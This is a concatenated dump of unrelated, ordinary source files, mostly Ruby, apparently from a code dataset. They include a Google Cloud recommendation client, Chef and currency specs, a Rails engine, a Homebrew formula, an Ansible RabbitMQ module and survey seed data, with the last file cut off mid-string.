# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. Full resource name of the format:
# \\{name=projects/*/locations/global/catalogs/default_catalog/eventStores/default_event_store/placements/*}
# The id of the recommendation engine placement. This id is used to identify
# the set of models that will be used to make the prediction.
#
# We currently support three placements with the following IDs by default:
#
# * `shopping_cart`: Predicts items frequently bought together with one or
# more catalog items in the same shopping session. Commonly displayed after
# `add-to-cart` events, on product detail pages, or on the shopping cart
# page.
#
# * `home_page`: Predicts the next product that a user will most likely
# engage with or purchase based on the shopping or viewing history of the
# specified `userId` or `visitorId`. For example - Recommendations for you.
#
# * `product_detail`: Predicts the next product that a user will most likely
# engage with or purchase. The prediction is based on the shopping or
# viewing history of the specified `userId` or `visitorId` and its
# relevance to a specified `CatalogItem`. Typically used on product detail
# pages. For example - More items like this.
#
# * `recently_viewed_default`: Returns up to 75 items recently viewed by the
# specified `userId` or `visitorId`, most recent ones first. Returns
# nothing if neither of them has viewed any items yet. For example -
# Recently viewed.
#
# The full list of available placements can be seen at
# https://console.cloud.google.com/recommendation/datafeeds/default_catalog/dashboard
# @param user_event [::Google::Cloud::RecommendationEngine::V1beta1::UserEvent, ::Hash]
# Required. Context about the user, what they are looking at and what action
# they took to trigger the predict request. Note that this user event detail
# won't be ingested to userEvent logs. Thus, a separate userEvent write
# request is required for event logging.
# @param page_size [::Integer]
# Optional. Maximum number of results to return per page. Set this property
# to the number of prediction results required. If zero, the service will
# choose a reasonable default.
# @param page_token [::String]
# Optional. The previous PredictResponse.next_page_token.
# @param filter [::String]
# Optional. Filter for restricting prediction results. Accepts values for
# tags and the `filterOutOfStockItems` flag.
#
# * Tag expressions. Restricts predictions to items that match all of the
# specified tags. Boolean operators `OR` and `NOT` are supported if the
# expression is enclosed in parentheses, and must be separated from the
# tag values by a space. `-"tagA"` is also supported and is equivalent to
# `NOT "tagA"`. Tag values must be double quoted UTF-8 encoded strings
# with a size limit of 1 KiB.
#
# * filterOutOfStockItems. Restricts predictions to items that do not have a
# stockState value of OUT_OF_STOCK.
#
# Examples:
#
# * tag=("Red" OR "Blue") tag="New-Arrival" tag=(NOT "promotional")
# * filterOutOfStockItems tag=(-"promotional")
# * filterOutOfStockItems
# @param dry_run [::Boolean]
# Optional. Use dryRun mode for this prediction query. If set to true, a
# dummy model will be used that returns arbitrary catalog items.
# Note that the dryRun mode should only be used for testing the API, or if
# the model is not ready.
# @param params [::Hash{::String => ::Google::Protobuf::Value, ::Hash}]
# Optional. Additional domain specific parameters for the predictions.
#
# Allowed values:
#
# * `returnCatalogItem`: Boolean. If set to true, the associated catalogItem
# object will be returned in the
# `PredictResponse.PredictionResult.itemMetadata` object in the method
# response.
# * `returnItemScore`: Boolean. If set to true, the prediction 'score'
# corresponding to each returned item will be set in the `metadata`
# field in the prediction response. The given 'score' indicates the
# probability of an item being clicked/purchased given the user's context
# and history.
# @param labels [::Hash{::String => ::String}]
# Optional. The labels for the predict request.
#
# * Label keys can contain lowercase letters, digits and hyphens, must start
# with a letter, and must end with a letter or digit.
# * Non-zero label values can contain lowercase letters, digits and hyphens,
# must start with a letter, and must end with a letter or digit.
# * No more than 64 labels can be associated with a given request.
#
# See https://goo.gl/xmQnxf for more information on and examples of labels.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Gapic::PagedEnumerable<::Google::Cloud::RecommendationEngine::V1beta1::PredictResponse::PredictionResult>]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Gapic::PagedEnumerable<::Google::Cloud::RecommendationEngine::V1beta1::PredictResponse::PredictionResult>]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def predict request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::RecommendationEngine::V1beta1::PredictRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.predict.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::RecommendationEngine::V1beta1::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.predict.timeout,
metadata: metadata,
retry_policy: @config.rpcs.predict.retry_policy
options.apply_defaults metadata: @config.metadata,
retry_policy: @config.retry_policy
@prediction_service_stub.call_rpc :predict, request, options: options do |response, operation|
response = ::Gapic::PagedEnumerable.new @prediction_service_stub, :predict, request, response, operation, options
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Configuration class for the PredictionService API.
#
# This class represents the configuration for PredictionService,
# providing control over timeouts, retry behavior, logging, transport
# parameters, and other low-level controls. Certain parameters can also be
# applied individually to specific RPCs. See
# {::Google::Cloud::RecommendationEngine::V1beta1::PredictionService::Client::Configuration::Rpcs}
# for a list of RPCs that can be configured independently.
#
# Configuration can be applied globally to all clients, or to a single client
# on construction.
#
# # Examples
#
# To modify the global config, setting the timeout for predict
# to 20 seconds, and all remaining timeouts to 10 seconds:
#
# ::Google::Cloud::RecommendationEngine::V1beta1::PredictionService::Client.configure do |config|
# config.timeout = 10.0
# config.rpcs.predict.timeout = 20.0
# end
#
# To apply the above configuration only to a new client:
#
# client = ::Google::Cloud::RecommendationEngine::V1beta1::PredictionService::Client.new do |config|
# config.timeout = 10.0
# config.rpcs.predict.timeout = 20.0
# end
#
# @!attribute [rw] endpoint
# The hostname or hostname:port of the service endpoint.
# Defaults to `"recommendationengine.googleapis.com"`.
# @return [::String]
# @!attribute [rw] credentials
# Credentials to send with calls. You may provide any of the following types:
# * (`String`) The path to a service account key file in JSON format
# * (`Hash`) A service account key as a Hash
# * (`Google::Auth::Credentials`) A googleauth credentials object
# (see the [googleauth docs](https://googleapis.dev/ruby/googleauth/latest/index.html))
# * (`Signet::OAuth2::Client`) A signet oauth2 client object
# (see the [signet docs](https://googleapis.dev/ruby/signet/latest/Signet/OAuth2/Client.html))
# * (`GRPC::Core::Channel`) a gRPC channel with included credentials
# * (`GRPC::Core::ChannelCredentials`) a gRPC credentails object
# * (`nil`) indicating no credentials
# @return [::Object]
# @!attribute [rw] scope
# The OAuth scopes
# @return [::Array<::String>]
# @!attribute [rw] lib_name
# The library name as recorded in instrumentation and logging
# @return [::String]
# @!attribute [rw] lib_version
# The library version as recorded in instrumentation and logging
# @return [::String]
# @!attribute [rw] channel_args
# Extra parameters passed to the gRPC channel. Note: this is ignored if a
# `GRPC::Core::Channel` object is provided as the credential.
# @return [::Hash]
# @!attribute [rw] interceptors
# An array of interceptors that are run before calls are executed.
# @return [::Array<::GRPC::ClientInterceptor>]
# @!attribute [rw] timeout
# The call timeout in seconds.
# @return [::Numeric]
# @!attribute [rw] metadata
# Additional gRPC headers to be sent with the call.
# @return [::Hash{::Symbol=>::String}]
# @!attribute [rw] retry_policy
# The retry policy. The value is a hash with the following keys:
# * `:initial_delay` (*type:* `Numeric`) - The initial delay in seconds.
# * `:max_delay` (*type:* `Numeric`) - The max delay in seconds.
# * `:multiplier` (*type:* `Numeric`) - The incremental backoff multiplier.
# * `:retry_codes` (*type:* `Array<String>`) - The error codes that should
# trigger a retry.
# @return [::Hash]
# @!attribute [rw] quota_project
# A separate project against which to charge quota.
# @return [::String]
#
class Configuration
extend ::Gapic::Config
config_attr :endpoint, "recommendationengine.googleapis.com", ::String
config_attr :credentials, nil do |value|
allowed = [::String, ::Hash, ::Proc, ::Symbol, ::Google::Auth::Credentials, ::Signet::OAuth2::Client, nil]
allowed += [::GRPC::Core::Channel, ::GRPC::Core::ChannelCredentials] if defined? ::GRPC
allowed.any? { |klass| klass === value }
end
config_attr :scope, nil, ::String, ::Array, nil
config_attr :lib_name, nil, ::String, nil
config_attr :lib_version, nil, ::String, nil
config_attr(:channel_args, { "grpc.service_config_disable_resolution" => 1 }, ::Hash, nil)
config_attr :interceptors, nil, ::Array, nil
config_attr :timeout, nil, ::Numeric, nil
config_attr :metadata, nil, ::Hash, nil
config_attr :retry_policy, nil, ::Hash, ::Proc, nil
config_attr :quota_project, nil, ::String, nil
# @private
def initialize parent_config = nil
@parent_config = parent_config unless parent_config.nil?
yield self if block_given?
end
##
# Configurations for individual RPCs
# @return [Rpcs]
#
def rpcs
@rpcs ||= begin
parent_rpcs = nil
parent_rpcs = @parent_config.rpcs if defined?(@parent_config) && @parent_config.respond_to?(:rpcs)
Rpcs.new parent_rpcs
end
end
##
# Configuration RPC class for the PredictionService API.
#
# Includes fields providing the configuration for each RPC in this service.
# Each configuration object is of type `Gapic::Config::Method` and includes
# the following configuration fields:
#
# * `timeout` (*type:* `Numeric`) - The call timeout in seconds
# * `metadata` (*type:* `Hash{Symbol=>String}`) - Additional gRPC headers
# * `retry_policy (*type:* `Hash`) - The retry policy. The policy fields
# include the following keys:
# * `:initial_delay` (*type:* `Numeric`) - The initial delay in seconds.
# * `:max_delay` (*type:* `Numeric`) - The max delay in seconds.
# * `:multiplier` (*type:* `Numeric`) - The incremental backoff multiplier.
# * `:retry_codes` (*type:* `Array<String>`) - The error codes that should
# trigger a retry.
#
class Rpcs
##
# RPC-specific configuration for `predict`
# @return [::Gapic::Config::Method]
#
attr_reader :predict
# @private
def initialize parent_rpcs = nil
predict_config = parent_rpcs.predict if parent_rpcs.respond_to? :predict
@predict = ::Gapic::Config::Method.new predict_config
yield self if block_given?
end
end
end
end
end
end
end
end
end
| 51.618947 | 145 | 0.562135 |
e948676ef4ccbc4f3eab25c67a684cb94fbea424 | 5,274 | # Encoding: UTF-8
#
# Cookbook Name:: shipyard
# Spec:: libraries/resource_shipyard_agent_service
#
# Copyright (C) 2014, Jonathan Hartman
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require_relative '../spec_helper'
require_relative '../../libraries/resource_shipyard_agent_service'
describe Chef::Resource::ShipyardAgentService do
[:install_type, :docker_image].each do |i|
let(i) { nil }
end
let(:resource) do
r = Chef::Resource::ShipyardAgentService.new('my_agent', nil)
r.install_type(install_type)
r.docker_image(docker_image)
r
end
describe '#initialize' do
it 'defaults to the GitHub provider' do
expected = Chef::Provider::ShipyardAgentService::Standard
expect(resource.instance_variable_get(:@provider)).to eq(expected)
end
it 'defaults to the "create" + "enable" + "start" actions' do
expected = [:create, :enable, :start]
expect(resource.instance_variable_get(:@action)).to eq(expected)
end
end
describe '#install_type' do
let(:override) { nil }
let(:resource) do
r = super()
r.install_type(override)
r
end
context 'no override provided' do
it 'defaults to a GitHub install' do
expect(resource.install_type).to eq(:standard)
end
end
context 'a valid override provided' do
let(:override) { 'container' }
it 'returns the override symbolized' do
expect(resource.install_type).to eq(:container)
end
it 'sets the corresponding provider' do
expected = Chef::Provider::ShipyardAgentService::Container
expect(resource.provider).to eq(expected)
expect(resource.instance_variable_get(:@provider)).to eq(expected)
end
end
context 'an invalid override provided' do
let(:install_type) { 'monkeys' }
it 'raises an exception' do
expect { resource }.to raise_error(Chef::Exceptions::ValidationFailed)
end
end
end
describe '#config_file' do
let(:override) { nil }
let(:resource) do
r = super()
r.config_file(override)
r
end
before(:each) do
path = override || '/etc/default/shipyard-agent'
allow(::File).to receive(:exist?).with(path).and_return(true)
end
context 'no override provided' do
it 'defaults to "/etc/default/shipyard-agent"' do
expect(resource.config_file).to eq('/etc/default/shipyard-agent')
end
end
context 'a valid override provided' do
let(:override) { '/tmp/agent' }
it 'returns the override' do
expect(resource.config_file).to eq('/tmp/agent')
end
end
context 'an invalid override provided' do
let(:install_type) { :monkeys }
it 'raises an exception' do
expect { resource }.to raise_error(Chef::Exceptions::ValidationFailed)
end
end
context 'a missing config file' do
let(:override) { '/etc/wiggles' }
before(:each) do
allow(::File).to receive(:exist?).with(override).and_return(false)
end
it 'raises an exception' do
expect { resource }.to raise_error(Chef::Exceptions::ValidationFailed)
end
end
end
describe '#docker_image' do
let(:override) { nil }
let(:resource) do
r = super()
r.docker_image(override)
r
end
context 'no override provided' do
context 'a default install' do
it 'returns nil' do
expect(resource.docker_image).to eq(nil)
end
end
context 'a container-based install' do
let(:install_type) { :container }
it 'returns "shipyard/agent"' do
expect(resource.docker_image).to eq('shipyard/agent')
end
end
context 'a valid override provided' do
let(:override) { 'ship/yard' }
context 'a default install' do
it 'raises an exception' do
expect { resource }.to raise_error(Chef::Exceptions::ValidationFailed)
end
end
context 'a container-based install' do
let(:install_type) { :container }
it 'returns the overridden container' do
expect(resource.docker_image).to eq('ship/yard')
end
end
end
context 'an invalid override provided' do
let(:override) { :container }
context 'a default install' do
it 'raises an exception' do
expect { resource }.to raise_error(Chef::Exceptions::ValidationFailed)
end
end
context 'a container-based install' do
let(:install_type) { :container }
it 'raises an exception' do
expect { resource }.to raise_error(Chef::Exceptions::ValidationFailed)
end
end
end
end
end
end
| 27.326425 | 82 | 0.639742 |
87523658dd815ad42484121937a77ee919cf5e01 | 1,205 | # Provides the ability to have session cookies for your Rails app calculated
# relative to the current time.
#
# In your environment.rb file (or in the environments/*.rb file of your choice),
# do something like the following:
#
# CGI::Session.expire_after 1.month
#
# Session cookies will then expire one month after the session was created. This
# differs from the usual session cookie behavior in that the expiration date is
# not a fixed time, but rather relative to the current time.
class CGI
class Session
@@session_expiration_offset = 0
def self.session_expiration_offset
@@session_expiration_offset
end
def self.session_expiration_offset=(value)
@@session_expiration_offset = value
end
def self.expire_after(value)
@@session_expiration_offset = value
end
alias :initialize_without_dynamic_session_expiration :initialize #:nodoc:
def initialize(request, option={}) #:nodoc:
if @@session_expiration_offset && @@session_expiration_offset > 0
option['session_expires'] = Time.now + @@session_expiration_offset
end
initialize_without_dynamic_session_expiration(request, option)
end
end
end | 31.710526 | 80 | 0.73278 |
e24f771be3ebd87d2686afe14173d21aad1c8188 | 1,311 | require 'spec_helper'
RSpec.describe 'RadarRelay integration specs' do
let(:client) { Cryptoexchange::Client.new }
let(:dai_weth_pair) { Cryptoexchange::Models::MarketPair.new(base: 'dai', target: 'weth', market: 'radar_relay') }
it 'fetch pairs' do
pairs = client.pairs('radar_relay')
expect(pairs).not_to be_empty
pair = pairs.first
expect(pair.base).to_not be nil
expect(pair.target).to_not be nil
expect(pair.market).to eq 'radar_relay'
end
it 'give trade url' do
trade_page_url = client.trade_page_url 'radar_relay', base: dai_weth_pair.base, target: dai_weth_pair.target
expect(trade_page_url).to eq "https://app.radarrelay.com/DAI/WETH"
end
it 'fetch ticker' do
ticker = client.ticker(dai_weth_pair)
expect(ticker.base).to eq 'DAI'
expect(ticker.target).to eq 'WETH'
expect(ticker.market).to eq 'radar_relay'
expect(ticker.last).to be_a Numeric
puts ticker.last.to_f
expect(ticker.last).to be < 100 # Test if number is reasonable
expect(ticker.high).to be_a Numeric
expect(ticker.low).to be_a Numeric
expect(ticker.volume).to be_a Numeric
expect(ticker.timestamp).to be_a Numeric
expect(2000..Date.today.year).to include(Time.at(ticker.timestamp).year)
expect(ticker.payload).to_not be nil
end
end
| 33.615385 | 116 | 0.716247 |
bf97f891d21240b4e9556d78333eef8ce96a6007 | 2,011 | # frozen_string_literal: true
require 'rails'
module FenrirView
class Engine < ::Rails::Engine
isolate_namespace FenrirView
initializer 'fenrir_view.system_path' do |app|
FenrirView.configure do |c|
c.system_path ||= app.root.join('lib', 'design_system')
end
end
initializer 'fenrir_view.docs_path' do |app|
FenrirView.configure do |c|
c.docs_path ||= FenrirView.configuration.system_path.join('docs')
end
end
initializer 'fenrir_view.property_validation' do |app|
FenrirView.configure do |c|
c.property_validation ||= !Rails.env.production?
end
end
initializer 'fenrir_view.load_classes', before: :set_autoload_paths do |app|
system_paths = FenrirView.patterns_for('components').to_s
app.config.eager_load_paths += Dir[system_paths]
docs_path = "#{FenrirView.configuration.docs_path}/{*}"
app.config.eager_load_paths += Dir[docs_path]
system_components_path = FenrirView.patterns_for('system').to_s
app.config.eager_load_paths += Dir[system_components_path]
end
initializer 'fenrir_view.assets' do |app|
Rails.application.config.assets.paths << FenrirView.pattern_type('components').to_s
Rails.application.config.assets.paths << FenrirView.pattern_type('system').to_s
Rails.application.config.assets.precompile += %w[ fenrir_view/styleguide.css
fenrir_view/styleguide.js ]
end
initializer 'fenrir_view.append_view_paths' do |app|
ActiveSupport.on_load :action_controller do
append_view_path FenrirView.pattern_type('components').to_s
append_view_path FenrirView.pattern_type('system').to_s
append_view_path FenrirView.configuration.docs_path
end
end
initializer 'fenrir_view.add_helpers' do
Rails.application.reloader.to_prepare do
::ActionController::Base.helper FenrirView::ComponentHelper
end
end
end
end
| 32.967213 | 89 | 0.695177 |
e989d1e37d16f365d94c4775223d73c1f2fa9f6a | 285 | class CreateArtists < ActiveRecord::Migration[5.2]
def up
end
def down
end
def change
create_table :artists do |t|
t.string :name
t.string :genre
t.integer :age
t.string :hometown
end
end
end | 16.764706 | 50 | 0.519298 |
79335a8933ad91bc14a91b3acabbcc24191d501d | 485 | require 'mspec/guards/guard'
# Despite that these are inverses, the two classes are
# used to simplify MSpec guard reporting modes
class EndianGuard < SpecGuard
def pattern
@pattern ||= [1].pack('L')
end
private :pattern
end
class BigEndianGuard < EndianGuard
def match?
pattern[-1] == ?\001
end
end
def big_endian(&block)
BigEndianGuard.new.run_if(:big_endian, &block)
end
def little_endian(&block)
BigEndianGuard.new.run_unless(:little_endian, &block)
end
| 18.653846 | 55 | 0.731959 |
2809577fc7c7867faafd2d462a5a8a1388b061a9 | 3,507 | require 'spec_helper'
describe Cmxl::Fields::StatementDetails do
context 'sepa' do
subject { Cmxl::Fields::StatementDetails.parse(fixture_line(:statement_details)) }
it { expect(subject.transaction_code).to eql('171') }
it { expect(subject.seperator).to eql('?') }
it { expect(subject.description).to eql('SEPA LASTSCHRIFT KUNDE') }
it { expect(subject.information).to eql('KREF+EREF+TRX-0A4A47C3-F846-4729-8A1B-5DF620FMREF+CAC97D2144174318AC18D9BF815BD4FBCRED+DE98ZZZ09999999999SVWZ+FOO TRX-0A4A47C3-F846-4729-8A1B-5DF620F') }
it { expect(subject.bic).to eql('HYVEDEMMXXX') }
it { expect(subject.name).to eql('Peter Pan') }
it { expect(subject.iban).to eql('HUkkbbbsssskcccccccccccccccx') }
it {
expect(subject.sub_fields).to eql(
'00' => 'SEPA LASTSCHRIFT KUNDE',
'10' => '281',
'20' => 'KREF+EREF+TRX-0A4A47C3-F846-4729',
'21' => '-8A1B-5DF620F',
'22' => 'MREF+CAC97D2144174318AC18D9',
'23' => 'BF815BD4FB',
'24' => 'CRED+DE98ZZZ09999999999',
'25' => 'SVWZ+FOO TRX-0A4A47C3-F84',
'26' => '6-4729-8A1B-5DF620F',
'30' => 'HYVEDEMMXXX',
'31' => 'HUkkbbbsssskcccccccccccccccx',
'32' => 'Peter Pan',
'99' => '',
'34' => '171'
)
}
it {
expect(subject.sepa).to eql(
'KREF' => '',
'CRED' => 'DE98ZZZ09999999999',
'EREF' => 'TRX-0A4A47C3-F846-4729-8A1B-5DF620F',
'MREF' => 'CAC97D2144174318AC18D9BF815BD4FB',
'SVWZ' => 'FOO TRX-0A4A47C3-F846-4729-8A1B-5DF620F'
)
}
it {
expect(subject.to_h).to eql(
'bic' => 'HYVEDEMMXXX',
'iban' => 'HUkkbbbsssskcccccccccccccccx',
'name' => 'Peter Pan',
'sepa' => {
'KREF' => '',
'EREF' => 'TRX-0A4A47C3-F846-4729-8A1B-5DF620F',
'MREF' => 'CAC97D2144174318AC18D9BF815BD4FB',
'CRED' => 'DE98ZZZ09999999999',
'SVWZ' => 'FOO TRX-0A4A47C3-F846-4729-8A1B-5DF620F'
},
'information' => 'KREF+EREF+TRX-0A4A47C3-F846-4729-8A1B-5DF620FMREF+CAC97D2144174318AC18D9BF815BD4FBCRED+DE98ZZZ09999999999SVWZ+FOO TRX-0A4A47C3-F846-4729-8A1B-5DF620F',
'description' => 'SEPA LASTSCHRIFT KUNDE',
'sub_fields' => {
'00' => 'SEPA LASTSCHRIFT KUNDE',
'10' => '281',
'20' => 'KREF+EREF+TRX-0A4A47C3-F846-4729',
'21' => '-8A1B-5DF620F',
'22' => 'MREF+CAC97D2144174318AC18D9',
'23' => 'BF815BD4FB',
'24' => 'CRED+DE98ZZZ09999999999',
'25' => 'SVWZ+FOO TRX-0A4A47C3-F84',
'26' => '6-4729-8A1B-5DF620F',
'30' => 'HYVEDEMMXXX',
'31' => 'HUkkbbbsssskcccccccccccccccx',
'32' => 'Peter Pan',
'34' => '171',
'99' => ''
},
'transaction_code' => '171',
'details' => '?00SEPA LASTSCHRIFT KUNDE?10281?20KREF+EREF+TRX-0A4A47C3-F846-4729?21-8A1B-5DF620F?22MREF+CAC97D2144174318AC18D9?23BF815BD4FB?24CRED+DE98ZZZ09999999999?25SVWZ+FOO TRX-0A4A47C3-F84?266-4729-8A1B-5DF620F?30HYVEDEMMXXX?31HUkkbbbsssskcccccccccccccccx?32Peter Pan?99?34171'
)
}
it { expect(subject.to_hash).to eql(subject.to_h) }
end
describe 'information parsing with empty fields on the end' do
subject { Cmxl::Fields::StatementDetails.parse(fixture_line(:statement_details_empty_fields)) }
it {
expect(subject.sepa).to eql(
'EREF' => 'S1001675',
'SVWZ' => ''
)
}
end
end
| 38.966667 | 290 | 0.590818 |
26c65454e2d13bcea207ea81871b178c4247271e | 156 | power_function = -> (x, z) {
(x) ** z
}
base = gets.to_i
raise_to_power = power_function.curry.(base)
power = gets.to_i
puts raise_to_power.(power)
| 13 | 44 | 0.660256 |
79f82a05e7f415a180a9f259302178d4ea3a9ade | 581 | # encoding: UTF-8
require 'ebb'
module Merb
module Rack
class Ebb < Merb::Rack::AbstractAdapter
# start an Ebb server on given host and port.
# @api plugin
def self.new_server(port)
Merb::Dispatcher.use_mutex = false
opts = @opts.merge(:port => port)
@th = Thread.new { Thread.current[:server] = ::Ebb.start_server(opts[:app], opts) }
end
# @api plugin
def self.start_server
@th.join
end
# @api plugin
def self.stop(status = 0)
::Ebb.stop_server
end
end
end
end
| 20.034483 | 91 | 0.576592 |
21ccf57f303b2adb091aeefd8d30b07b855d7915 | 1,482 | class G2 < Formula
desc "Friendly git client"
homepage "https://orefalo.github.io/g2/"
url "https://github.com/orefalo/g2/archive/v1.1.tar.gz"
sha256 "bc534a4cb97be200ba4e3cc27510d8739382bb4c574e3cf121f157c6415bdfba"
license "MIT"
head "https://github.com/orefalo/g2.git"
bottle do
sha256 cellar: :any_skip_relocation, catalina: "e9350d1a2278bc954807b784dd6f34044ba69bcbeef3c91410f4bac9affdc0ca"
sha256 cellar: :any_skip_relocation, mojave: "64107e7e395a373205f8e4953082f90e86736b27c01198836ea3915a40362dc5"
sha256 cellar: :any_skip_relocation, high_sierra: "172bb101cd40ab61ea7a6ce85798556da5bbb980ae050023e8e8ff9f4d2e2c52"
sha256 cellar: :any_skip_relocation, sierra: "6bd5de5c1e1335c1be168bf5eec800c8ac5d0b4d16534a7e686d9c4e8d396417"
sha256 cellar: :any_skip_relocation, el_capitan: "45c2029c3fc914866ba32966a78cba39b8415ba7f191cd1eaaf604db798b6d3f"
sha256 cellar: :any_skip_relocation, yosemite: "5645b9c9401aa9f047082612de0e7bbd119ff7fd9fd49d94d45ce2adfbbfb69a"
sha256 cellar: :any_skip_relocation, mavericks: "41f5cd09949d53b4d46dfab4a17d5f3d77f65978ebb5e04e3433f9386d7846b4"
end
def install
system "make", "prefix=#{prefix}", "install"
end
def caveats
<<~EOS
To complete the installation:
. #{prefix}/g2-install.sh
NOTE: This will install a new ~/.gitconfig, backing up any existing
file first. For more information view:
#{prefix}/README.md
EOS
end
end
| 43.588235 | 120 | 0.778003 |
334a64816de50cbc3d42a27e787233fdee21664a | 265 | # frozen_string_literal: true
# This is just a placeholder file, as +Sequel.extensions+ forcefully loads it
# instead of assuming we already did. If you're looking for the integration
# implementation, you can find it in +lib/appsignal/instrumentations/sequel.rb+
| 44.166667 | 79 | 0.792453 |
8704511bd638c490c8d2b32deb46aa37a3c6aea5 | 886 | # Inflection using the inflect module copied from
# the unmaintained 'english' ruby gem.
#
# License: MIT
# Website: http://english.rubyforge.org
class Treat::Workers::Inflectors::Declensors::English
require_relative 'english/inflect'
# Part of speech that can be declensed.
POS = ['noun', 'adjective', 'determiner']
# Retrieve the declensions (singular, plural)
# of an english word using a class lifted from
# the 'english' ruby gem.
def self.declense(entity, options)
cat = entity.check_has(:category)
return unless POS.include?(cat)
unless options[:count]
raise Treat::Exception, 'Must supply ' +
'option count ("singular" or "plural").'
end
string = entity.to_s
if options[:count].to_s == 'plural'
Inflect.plural(string)
elsif options[:count].to_s == 'singular'
Inflect.singular(string)
end
end
end | 28.580645 | 53 | 0.680587 |
bfc849cad0bf98846a4d52a2a1eb3466819fc097 | 1,630 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Network::Mgmt::V2019_11_01
module Models
#
# Collection of SecurityProviders.
#
class VirtualWanSecurityProviders
include MsRestAzure
# @return [Array<VirtualWanSecurityProvider>] List of VirtualWAN security
# providers.
attr_accessor :supported_providers
#
# Mapper for VirtualWanSecurityProviders class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'VirtualWanSecurityProviders',
type: {
name: 'Composite',
class_name: 'VirtualWanSecurityProviders',
model_properties: {
supported_providers: {
client_side_validation: true,
required: false,
serialized_name: 'supportedProviders',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'VirtualWanSecurityProviderElementType',
type: {
name: 'Composite',
class_name: 'VirtualWanSecurityProvider'
}
}
}
}
}
}
}
end
end
end
end
| 28.596491 | 79 | 0.540491 |
bf8acb384eec03fc7d955dfcaa2bad2db95a94ec | 1,430 | # Copyright (C) 2006-2007 Kurt Stephens <ruby-currency(at)umleta.com>
# See LICENSE.txt for details.
require 'test/ar_test_core'
require 'currency'
require 'rubygems'
require 'active_record'
require 'active_record/migration'
require 'currency/active_record'
module Currency
class ArFieldTest < ArTestCore
##################################################
# Basic CurrenyTest AR::B class
#
TABLE_NAME = 'currency_column_test'
class CurrencyColumnTestMigration < AR_M
def self.up
create_table TABLE_NAME.intern do |t|
t.column :name, :string
t.column :amount, :integer # Money
t.column :amount_currency, :string, :size => 3 # Money.currency.code
end
end
def self.down
drop_table TABLE_NAME.intern
end
end
class CurrencyColumnTest < AR_B
set_table_name TABLE_NAME
attr_money :amount, :currency_column => true
end
##################################################
def setup
@currency_test_migration ||= CurrencyColumnTestMigration
@currency_test ||= CurrencyColumnTest
super
end
def teardown
super
end
##################################################
def test_field
insert_records
assert_not_nil usd = @currency_test.find(@usd.id)
assert_equal_currency usd, @usd
assert_not_nil cad = @currency_test.find(@cad.id)
assert_equal_currency cad, @cad
end
end
end # module
| 20.428571 | 78 | 0.626573 |
f8543766b1d36fdc33c469bb7235d6f1c389ed97 | 1,692 | # frozen_string_literal: true
# See LICENSE.txt at root of repository
# GENERATED FILE - DO NOT EDIT!!
require 'ansible/ruby/modules/base'
module Ansible
module Ruby
module Modules
# Manage the state of a policy in RabbitMQ.
class Rabbitmq_policy < Base
# @return [String] The name of the policy to manage.
attribute :name
validates :name, presence: true, type: String
# @return [String, nil] The name of the vhost to apply to.
attribute :vhost
validates :vhost, type: String
# @return [:all, :exchanges, :queues, nil] What the policy applies to. Requires RabbitMQ 3.2.0 or later.
attribute :apply_to
validates :apply_to, expression_inclusion: {:in=>[:all, :exchanges, :queues], :message=>"%{value} needs to be :all, :exchanges, :queues"}, allow_nil: true
# @return [String] A regex of queues to apply the policy to.
attribute :pattern
validates :pattern, presence: true, type: String
# @return [Hash] A dict or string describing the policy.
attribute :tags
validates :tags, presence: true, type: Hash
# @return [Integer, nil] The priority of the policy.
attribute :priority
validates :priority, type: Integer
# @return [String, nil] Erlang node name of the rabbit we wish to configure.
attribute :node
validates :node, type: String
# @return [:present, :absent, nil] The state of the policy.
attribute :state
validates :state, expression_inclusion: {:in=>[:present, :absent], :message=>"%{value} needs to be :present, :absent"}, allow_nil: true
end
end
end
end
| 36.782609 | 162 | 0.644799 |
d5a7ea56e6a1737a3002f8655cf70c97c3699063 | 1,007 | @survey_forms_0 = Survey::Form.new(id: 0)
@survey_forms_1 ||= Survey::Form.create!(
content_id: @cms_contents_6.id,
state: "public",
name: "toiawase",
title: "市へのお問い合わせ",
sort_no: 10,
summary: "",
description: "",
receipt: <<EOS.chomp,
<p>お問い合わせを受け付けました。<br />\r
自動返信メールが届いているかご確認ください。(送信までにお時間がかかる場合があります)</p>\r
EOS
confirmation: true,
sitemap_state: "visible",
index_link: "visible",
mail_attachment: false
)
@survey_forms_2 ||= Survey::Form.create!(
content_id: @cms_contents_6.id,
state: "public",
name: "goiken",
title: "市へのご意見・ご提案",
sort_no: 20,
summary: "",
description: <<EOS.chomp,
<p>市政に対する建設的なご意見、ご要望をお待ちしております。<br />\r
今後の市政運営の参考にさせていただきますので、ご記入いただく内容は、できるだけ具体的にお願いします。<br />\r
